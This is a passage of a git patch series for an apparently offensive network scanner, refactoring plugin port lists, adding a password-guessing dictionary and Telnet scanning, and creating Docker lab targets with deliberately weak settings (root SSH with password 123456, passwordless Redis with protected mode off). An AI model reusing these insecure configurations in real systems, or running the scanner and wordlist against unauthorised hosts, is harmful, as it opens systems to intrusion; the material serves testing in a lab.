显示所有支持的扫描类型 -func showmode() { - fmt.Println("[!] 指定的扫描类型不存在") - fmt.Println("[*] 支持的扫描类型:") - - // 显示常规服务扫描类型 - fmt.Println("\n[+] 常规服务扫描:") - for name, plugin := range PluginManager { - if plugin.Port > 0 && plugin.Port < 1000000 { - fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port) - } - } - - // 显示特殊漏洞扫描类型 - fmt.Println("\n[+] 特殊漏洞扫描:") - for name, plugin := range PluginManager { - if plugin.Port >= 1000000 || plugin.Port == 0 { - fmt.Printf(" - %-10s\n", name) - } - } - - // 显示其他扫描类型 - fmt.Println("\n[+] 其他扫描类型:") - specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"} - for _, name := range specialTypes { - fmt.Printf(" - %s\n", name) - } - - os.Exit(0) -} +//// showmode 显示所有支持的扫描类型 +//func showmode() { +// fmt.Println("[!] 指定的扫描类型不存在") +// fmt.Println("[*] 支持的扫描类型:") +// +// // 显示常规服务扫描类型 +// fmt.Println("\n[+] 常规服务扫描:") +// for name, plugin := range PluginManager { +// if plugin.Port > 0 && plugin.Port < 1000000 { +// fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port) +// } +// } +// +// // 显示特殊漏洞扫描类型 +// fmt.Println("\n[+] 特殊漏洞扫描:") +// for name, plugin := range PluginManager { +// if plugin.Port >= 1000000 || plugin.Port == 0 { +// fmt.Printf(" - %-10s\n", name) +// } +// } +// +// // 显示其他扫描类型 +// fmt.Println("\n[+] 其他扫描类型:") +// specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"} +// for _, name := range specialTypes { +// fmt.Printf(" - %s\n", name) +// } +// +// os.Exit(0) +//} diff --git a/Common/Types.go b/Common/Types.go index 948e744..3c36aea 100644 --- a/Common/Types.go +++ b/Common/Types.go @@ -11,10 +11,26 @@ type HostInfo struct { // ScanPlugin 定义扫描插件的结构 type ScanPlugin struct { Name string // 插件名称 - Port int // 关联的端口号,0表示特殊扫描类型 + Ports []int // 关联的端口列表,空切片表示特殊扫描类型 ScanFunc func(*HostInfo) error // 扫描函数 } +// HasPort 检查插件是否支持指定端口 +func (p *ScanPlugin) HasPort(port int) bool { + // 如果没有指定端口列表,表示支持所有端口 + if len(p.Ports) == 0 { + return true + } + + // 检查端口是否在支持列表中 + for _, supportedPort := range p.Ports { + if port == supportedPort { + return true + } + } + return false +} + // PluginManager 管理插件注册 var PluginManager = make(map[string]ScanPlugin) diff --git a/Core/Registry.go b/Core/Registry.go index 4cfc3b9..0d1ed67 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -9,104 +9,104 @@ func init() { // 注册标准端口服务扫描 Common.RegisterPlugin("ftp", Common.ScanPlugin{ Name: "FTP", - Port: 21, + Ports: []int{21}, ScanFunc: Plugins.FtpScan, }) Common.RegisterPlugin("ssh", Common.ScanPlugin{ Name: "SSH", - Port: 22, + Ports: []int{22}, ScanFunc: Plugins.SshScan, }) Common.RegisterPlugin("findnet", Common.ScanPlugin{ Name: "FindNet", - Port: 135, + Ports: []int{135}, ScanFunc: Plugins.Findnet, }) Common.RegisterPlugin("netbios", Common.ScanPlugin{ Name: "NetBIOS", - Port: 139, + Ports: []int{139}, ScanFunc: Plugins.NetBIOS, }) Common.RegisterPlugin("smb", Common.ScanPlugin{ Name: "SMB", - Port: 445, + Ports: []int{445}, ScanFunc: Plugins.SmbScan, }) Common.RegisterPlugin("mssql", Common.ScanPlugin{ Name: "MSSQL", - Port: 1433, + Ports: []int{1433, 1434}, // 支持多个端口 ScanFunc: Plugins.MssqlScan, }) Common.RegisterPlugin("oracle", Common.ScanPlugin{ Name: "Oracle", - Port: 1521, + Ports: []int{1521, 1522, 1526}, // Oracle 可能的多个端口 ScanFunc: Plugins.OracleScan, }) Common.RegisterPlugin("mysql", Common.ScanPlugin{ Name: "MySQL", - Port: 3306, + Ports: []int{3306, 3307}, // MySQL 可能的端口 ScanFunc: Plugins.MysqlScan, }) Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", - Port: 3389, + Ports: []int{3389}, ScanFunc: Plugins.RdpScan, }) Common.RegisterPlugin("postgres", Common.ScanPlugin{ Name: "PostgreSQL", - Port: 5432, + Ports: []int{5432, 5433}, // PostgreSQL 可能的端口 ScanFunc: Plugins.PostgresScan, }) Common.RegisterPlugin("vnc", Common.ScanPlugin{ Name: "VNC", - Port: 5900, + Ports: []int{5900, 5901, 5902}, // VNC 可能的端口 ScanFunc: Plugins.VncScan, }) Common.RegisterPlugin("redis", Common.ScanPlugin{ Name: "Redis", - Port: 6379, + Ports: []int{6379, 6380}, // Redis 可能的端口 ScanFunc: Plugins.RedisScan, }) Common.RegisterPlugin("fcgi", Common.ScanPlugin{ Name: "FastCGI", - Port: 9000, + Ports: []int{9000}, ScanFunc: Plugins.FcgiScan, }) Common.RegisterPlugin("memcached", Common.ScanPlugin{ Name: "Memcached", - Port: 11211, + Ports: []int{11211}, ScanFunc: Plugins.MemcachedScan, }) Common.RegisterPlugin("mongodb", Common.ScanPlugin{ Name: "MongoDB", - Port: 27017, + Ports: []int{27017, 27018}, // MongoDB 可能的端口 ScanFunc: Plugins.MongodbScan, }) // 注册特殊扫描类型 Common.RegisterPlugin("ms17010", Common.ScanPlugin{ Name: "MS17010", - Port: 445, + Ports: []int{445}, ScanFunc: Plugins.MS17010, }) Common.RegisterPlugin("smbghost", Common.ScanPlugin{ Name: "SMBGhost", - Port: 445, + Ports: []int{445}, ScanFunc: Plugins.SmbGhost, }) @@ -122,18 +122,19 @@ func init() { Common.RegisterPlugin("smb2", Common.ScanPlugin{ Name: "SMBScan2", - Port: 445, + Ports: []int{445}, ScanFunc: Plugins.SmbScan2, }) Common.RegisterPlugin("wmiexec", Common.ScanPlugin{ Name: "WMIExec", - Port: 135, + Ports: []int{135}, ScanFunc: Plugins.WmiExec, }) Common.RegisterPlugin("localinfo", Common.ScanPlugin{ Name: "LocalInfo", + Ports: []int{}, // 本地信息收集不需要端口 ScanFunc: Plugins.LocalInfoScan, }) } diff --git a/Core/Scanner.go b/Core/Scanner.go index 4373d3f..ba3b66d 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -115,7 +115,7 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro if plugins := Common.GetPluginsForMode(mode); plugins != nil { // 使用预设模式的插件组 for _, target := range targets { - targetPort := target.Ports // 目标端口 + targetPort, _ := strconv.Atoi(target.Ports) // 转换目标端口为整数 for _, pluginName := range plugins { // 获取插件信息 plugin, exists := Common.PluginManager[pluginName] @@ -124,20 +124,19 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro } // 检查插件是否有默认端口配置 - if plugin.Port != 0 { - // 只有当目标端口匹配插件默认端口时才执行 - if targetPort == strconv.Itoa(plugin.Port) { + if len(plugin.Ports) > 0 { + // 只有当目标端口在插件支持的端口列表中才执行 + if plugin.HasPort(targetPort) { AddScan(pluginName, target, ch, wg) } } else { - // 对于没有默认端口的插件(如web扫描),始终执行 + // 对于没有指定端口的插件,始终执行 AddScan(pluginName, target, ch, wg) } } } } else { - // 使用单个插件 - // 对于单个插件模式,不进行端口匹配检查,直接执行 + // 使用单个插件模式,直接执行不做端口检查 for _, target := range targets { AddScan(mode, target, ch, wg) } From 57e0cc06e17dd636f49c21727d88f9276fd77a8e Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:02:51 +0800 Subject: [PATCH 091/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0VNC=E6=B5=8B?= =?UTF-8?q?=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/VNC/README.txt | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 TestDocker/VNC/README.txt diff --git a/TestDocker/VNC/README.txt b/TestDocker/VNC/README.txt new file mode 100644 index 0000000..2bd5195 --- /dev/null +++ b/TestDocker/VNC/README.txt @@ -0,0 +1,2 @@ +docker build -t vnc-server . +docker run -d -p 5901:5901 vnc-server \ No newline at end of file From 672dfee2accdf11085bf06013f4827e9db412a71 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:08:40 +0800 Subject: [PATCH 092/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0SSH=202222?= =?UTF-8?q?=E7=AB=AF=E5=8F=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Ports.go | 2 +- Core/Registry.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Common/Ports.go b/Common/Ports.go index b10c3f9..ce1d885 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -1,6 +1,6 @@ package Common -var ServicePorts = "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017" +var ServicePorts = "21,22,135,139,445,1433,1521,2222,3306,3389,5432,6379,9000,11211,27017" var DbPorts = "1433,1521,3306,5432,6379,11211,27017" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" diff --git a/Core/Registry.go b/Core/Registry.go index 0d1ed67..47e3a77 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -15,7 +15,7 @@ func init() { Common.RegisterPlugin("ssh", Common.ScanPlugin{ Name: "SSH", - Ports: []int{22}, + Ports: []int{22, 2222}, ScanFunc: Plugins.SshScan, }) From bf1b45f407966d27fc36ded269ae5d8eda1fde14 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:08:49 +0800 Subject: [PATCH 093/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0SSH=E6=B5=8B?= =?UTF-8?q?=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/SSH/Dockerfile | 20 ++++++++++++++++++++ TestDocker/SSH/README.txt | 2 ++ 2 files changed, 22 insertions(+) create mode 100644 TestDocker/SSH/Dockerfile create mode 100644 TestDocker/SSH/README.txt diff --git a/TestDocker/SSH/Dockerfile b/TestDocker/SSH/Dockerfile new file mode 100644 index 0000000..9952185 --- /dev/null +++ b/TestDocker/SSH/Dockerfile @@ -0,0 +1,20 @@ +# 使用Ubuntu最新版本作为基础镜像 +FROM ubuntu:latest + +# 安装必要的软件包 +RUN apt-get update && apt-get install -y \ + openssh-server \ + && rm -rf /var/lib/apt/lists/* + +# 创建SSH所需的目录 +RUN mkdir /var/run/sshd + +# 允许root用户SSH登录并设置密码 +RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config +RUN echo 'root:123456' | chpasswd + +# 开放22端口 +EXPOSE 22 + +# 启动SSH服务 +CMD ["/usr/sbin/sshd", "-D"] \ No newline at end of file diff --git a/TestDocker/SSH/README.txt b/TestDocker/SSH/README.txt new file mode 100644 index 0000000..1d17fa9 --- /dev/null +++ b/TestDocker/SSH/README.txt @@ -0,0 +1,2 @@ +docker build -t ubuntu-ssh . +docker run -d -p 22:22 ubuntu-ssh \ No newline at end of file From 92217f572fa9c9cf648f6e44e81f0adb338e43a1 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:12:46 +0800 Subject: [PATCH 094/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0MySQL?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/MySQL/Dockerfile | 17 +++++++++++++++++ TestDocker/MySQL/README.txt | 5 +++++ TestDocker/MySQL/my.cnf | 2 ++ 3 files changed, 24 insertions(+) create mode 100644 TestDocker/MySQL/Dockerfile create mode 100644 TestDocker/MySQL/README.txt create mode 100644 TestDocker/MySQL/my.cnf diff --git a/TestDocker/MySQL/Dockerfile b/TestDocker/MySQL/Dockerfile new file mode 100644 index 0000000..5b14e00 --- /dev/null +++ b/TestDocker/MySQL/Dockerfile @@ -0,0 +1,17 @@ +# 使用MySQL官方镜像 +FROM mysql:latest + +# 设置环境变量 +ENV MYSQL_ROOT_PASSWORD=123456 +ENV MYSQL_DATABASE=mydb + +# 开放3306端口 +EXPOSE 3306 + +# MySQL配置 +# 允许远程访问 +COPY my.cnf /etc/mysql/conf.d/my.cnf + +# 健康检查 +HEALTHCHECK --interval=30s --timeout=3s \ + CMD mysql -uroot -p"${MYSQL_ROOT_PASSWORD}" -e "SELECT 1" || exit 1 \ No newline at end of file diff --git a/TestDocker/MySQL/README.txt b/TestDocker/MySQL/README.txt new file mode 100644 index 0000000..e0a25fd --- /dev/null +++ b/TestDocker/MySQL/README.txt @@ -0,0 +1,5 @@ +docker build -t mysql-server . +docker run -d \ + -p 3306:3306 \ + --name mysql-container \ + mysql-server \ No newline at end of file diff --git a/TestDocker/MySQL/my.cnf b/TestDocker/MySQL/my.cnf new file mode 100644 index 0000000..ff1b64f --- /dev/null +++ b/TestDocker/MySQL/my.cnf @@ -0,0 +1,2 @@ +[mysqld] +bind-address = 0.0.0.0 \ No newline at end of file From 763da727ac7991bcd81750566e279ad7d88d4b4e Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:35:26 +0800 Subject: [PATCH 095/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0Postgre?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/Postgre/Dockerfile | 14 ++++++++++++++ TestDocker/Postgre/README.md | 5 +++++ 2 files changed, 19 insertions(+) create mode 100644 TestDocker/Postgre/Dockerfile create mode 100644 TestDocker/Postgre/README.md diff --git a/TestDocker/Postgre/Dockerfile b/TestDocker/Postgre/Dockerfile new file mode 100644 index 0000000..5cc0085 --- /dev/null +++ b/TestDocker/Postgre/Dockerfile @@ -0,0 +1,14 @@ +# 使用PostgreSQL官方镜像 +FROM postgres:latest + +# 设置环境变量 +ENV POSTGRES_USER=postgres +ENV POSTGRES_PASSWORD=123456 +ENV POSTGRES_DB=mydb + +# 开放5432端口 +EXPOSE 5432 + +# 健康检查 +HEALTHCHECK --interval=30s --timeout=3s \ + CMD pg_isready -U postgres || exit 1 \ No newline at end of file diff --git a/TestDocker/Postgre/README.md b/TestDocker/Postgre/README.md new file mode 100644 index 0000000..69d9891 --- /dev/null +++ b/TestDocker/Postgre/README.md @@ -0,0 +1,5 @@ +docker build -t postgres-server . +docker run -d \ +-p 5432:5432 \ +--name postgres-container \ +postgres-server \ No newline at end of file From daec3c1ca46462e88ca3913cbf9b50be68457ba0 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:45:24 +0800 Subject: [PATCH 096/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0MSSQL?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/MSSQL/Dockerfile | 14 ++++++++++++++ TestDocker/MSSQL/README.txt | 5 +++++ 2 files changed, 19 insertions(+) create mode 100644 TestDocker/MSSQL/Dockerfile create mode 100644 TestDocker/MSSQL/README.txt diff --git a/TestDocker/MSSQL/Dockerfile b/TestDocker/MSSQL/Dockerfile new file mode 100644 index 0000000..ec801ba --- /dev/null +++ b/TestDocker/MSSQL/Dockerfile @@ -0,0 +1,14 @@ +# 使用SQL Server官方镜像 +FROM mcr.microsoft.com/mssql/server:2022-latest + +# 设置环境变量 +ENV ACCEPT_EULA=Y +ENV MSSQL_SA_PASSWORD=P@ssword123 +ENV MSSQL_PID=Express + +# 开放1433端口 +EXPOSE 1433 + +# 健康检查 +HEALTHCHECK --interval=30s --timeout=3s \ + CMD /opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P P@ssword123 -Q "SELECT 1" || exit 1 \ No newline at end of file diff --git a/TestDocker/MSSQL/README.txt b/TestDocker/MSSQL/README.txt new file mode 100644 index 0000000..0bcdce7 --- /dev/null +++ b/TestDocker/MSSQL/README.txt @@ -0,0 +1,5 @@ +docker build -t mssql-server . +docker run -d \ + -p 1433:1433 \ + --name mssql-container \ + mssql-server \ No newline at end of file From 5190d636804a8d2ac46ce3fb689edba79cf02442 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:45:35 +0800 Subject: [PATCH 097/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0Oracle?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/Oracle/Dockerfile | 16 ++++++++++++++++ TestDocker/Oracle/README.txt | 11 +++++++++++ 2 files changed, 27 insertions(+) create mode 100644 TestDocker/Oracle/Dockerfile create mode 100644 TestDocker/Oracle/README.txt diff --git a/TestDocker/Oracle/Dockerfile b/TestDocker/Oracle/Dockerfile new file mode 100644 index 0000000..892889a --- /dev/null +++ b/TestDocker/Oracle/Dockerfile @@ -0,0 +1,16 @@ +# 使用Oracle官方容器镜像 +FROM container-registry.oracle.com/database/express:latest + +# 设置环境变量 +ENV ORACLE_PWD=123456 +ENV ORACLE_SID=XE +ENV ORACLE_PDB=XEPDB1 + +# 开放1521端口 +EXPOSE 1521 + +# 健康检查 +HEALTHCHECK --interval=30s --timeout=3s \ + CMD sqlplus -L sys/123456@//localhost:1521/XE as sysdba << EOF + exit; + EOF \ No newline at end of file diff --git a/TestDocker/Oracle/README.txt b/TestDocker/Oracle/README.txt new file mode 100644 index 0000000..08cc372 --- /dev/null +++ b/TestDocker/Oracle/README.txt @@ -0,0 +1,11 @@ +首先需要在Oracle Container Registry网站注册并接受许可协议: +https://container-registry.oracle.com + +docker login container-registry.oracle.com + +docker build -t oracle-db . + +docker run -d \ + -p 1521:1521 \ + --name oracle-container \ + oracle-db \ No newline at end of file From 3fe6e3eec5cfa39525f57f00d25fd45283a9cab9 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:45:44 +0800 Subject: [PATCH 098/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0Oracle?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Common/Config.go b/Common/Config.go index 68b93c7..649e5a2 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -13,7 +13,7 @@ var Userdict = map[string][]string{ "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, } -var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} +var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} var Outputfile = "result.txt" var IsSave = true From e6545417b8831d4f3fff9b86a9fbf79700f1814b Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:49:22 +0800 Subject: [PATCH 099/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0Redis?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/Redis/Dockerfile | 11 +++++++++++ TestDocker/Redis/README.txt | 5 +++++ TestDocker/Redis/redis.conf | 14 ++++++++++++++ 3 files changed, 30 insertions(+) create mode 100644 TestDocker/Redis/Dockerfile create mode 100644 TestDocker/Redis/README.txt create mode 100644 TestDocker/Redis/redis.conf diff --git a/TestDocker/Redis/Dockerfile b/TestDocker/Redis/Dockerfile new file mode 100644 index 0000000..013694c --- /dev/null +++ b/TestDocker/Redis/Dockerfile @@ -0,0 +1,11 @@ +# 使用Redis官方镜像 +FROM redis:latest + +# 替换默认配置文件 +COPY redis.conf /usr/local/etc/redis/redis.conf + +# 开放6379端口 +EXPOSE 6379 + +# 启动Redis +CMD ["redis-server", "/usr/local/etc/redis/redis.conf"] \ No newline at end of file diff --git a/TestDocker/Redis/README.txt b/TestDocker/Redis/README.txt new file mode 100644 index 0000000..8cd1313 --- /dev/null +++ b/TestDocker/Redis/README.txt @@ -0,0 +1,5 @@ +docker build -t redis-server . +docker run -d \ + -p 6379:6379 \ + --name redis-container \ + redis-server \ No newline at end of file diff --git a/TestDocker/Redis/redis.conf b/TestDocker/Redis/redis.conf new file mode 100644 index 0000000..0f0b99d --- /dev/null +++ b/TestDocker/Redis/redis.conf @@ -0,0 +1,14 @@ +# 允许远程访问 +bind 0.0.0.0 + +# 关闭保护模式(允许外部连接) +protected-mode no + +# 不设置密码 +requirepass "" + +# 后台运行 +daemonize no + +# 关闭持久化 +appendonly no \ No newline at end of file From c7b6e21d3947e63afd7e71887d43ed4285fd7da1 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:51:29 +0800 Subject: [PATCH 100/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0Memcached?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/Memcached/Dockerfile | 11 +++++++++++ TestDocker/Memcached/README.txt | 5 +++++ 2 files changed, 16 insertions(+) create mode 100644 TestDocker/Memcached/Dockerfile create mode 100644 TestDocker/Memcached/README.txt diff --git a/TestDocker/Memcached/Dockerfile b/TestDocker/Memcached/Dockerfile new file mode 100644 index 0000000..e2d3e20 --- /dev/null +++ b/TestDocker/Memcached/Dockerfile @@ -0,0 +1,11 @@ +# 使用Memcached官方镜像 +FROM memcached:latest + +# 开放11211端口 +EXPOSE 11211 + +# 设置启动参数 +# -m 64: 分配64MB内存 +# -c 1024: 最大同时连接数1024 +# -v: 显示版本信息 +CMD ["memcached", "-m", "64", "-c", "1024", "-v"] \ No newline at end of file diff --git a/TestDocker/Memcached/README.txt b/TestDocker/Memcached/README.txt new file mode 100644 index 0000000..7047a32 --- /dev/null +++ b/TestDocker/Memcached/README.txt @@ -0,0 +1,5 @@ +docker build -t memcached-server . +docker run -d \ + -p 11211:11211 \ + --name memcached-container \ + memcached-server \ No newline at end of file From 878595e3419dc2a119dfa000e541d0948364a0a4 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 19:53:20 +0800 Subject: [PATCH 101/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0Mongodb?= =?UTF-8?q?=E6=B5=8B=E8=AF=95=E9=9D=B6=E5=9C=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/Mongodb/Dockerfile | 13 +++++++++++++ TestDocker/Mongodb/README.txt | 5 +++++ 2 files changed, 18 insertions(+) create mode 100644 TestDocker/Mongodb/Dockerfile create mode 100644 TestDocker/Mongodb/README.txt diff --git a/TestDocker/Mongodb/Dockerfile b/TestDocker/Mongodb/Dockerfile new file mode 100644 index 0000000..4a1ee6e --- /dev/null +++ b/TestDocker/Mongodb/Dockerfile @@ -0,0 +1,13 @@ +# 使用MongoDB官方镜像 +FROM mongo:latest + +# 设置环境变量 +ENV MONGO_INITDB_ROOT_USERNAME=admin +ENV MONGO_INITDB_ROOT_PASSWORD=123456 + +# 开放27017端口 +EXPOSE 27017 + +# 健康检查 +HEALTHCHECK --interval=30s --timeout=3s \ + CMD mongosh --eval 'db.runCommand("ping").ok' localhost:27017/test --quiet \ No newline at end of file diff --git a/TestDocker/Mongodb/README.txt b/TestDocker/Mongodb/README.txt new file mode 100644 index 0000000..b75298c --- /dev/null +++ b/TestDocker/Mongodb/README.txt @@ -0,0 +1,5 @@ +docker build -t mongodb-server . +docker run -d \ + -p 27017:27017 \ + --name mongodb-container \ + mongodb-server \ No newline at end of file From 5789017d1afe623ba7e5e64e06515a0cb8625e08 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Fri, 20 Dec 2024 20:15:55 +0800 Subject: [PATCH 102/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0Telnet?= =?UTF-8?q?=E6=89=AB=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 4 +- Core/Registry.go | 6 + Plugins/Telnet.go | 610 ++++++++++++++++++++++++++++++++++++++++ 5 files changed, 621 insertions(+), 4 deletions(-) create mode 100644 Plugins/Telnet.go diff --git a/Common/Config.go b/Common/Config.go index 649e5a2..1ee12e0 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -11,6 +11,7 @@ var Userdict = map[string][]string{ "ssh": {"root", "admin"}, "mongodb": {"root", "admin"}, "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, + "telnet": {"root", "admin", "test"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index f10905d..0870ece 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -21,7 +21,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 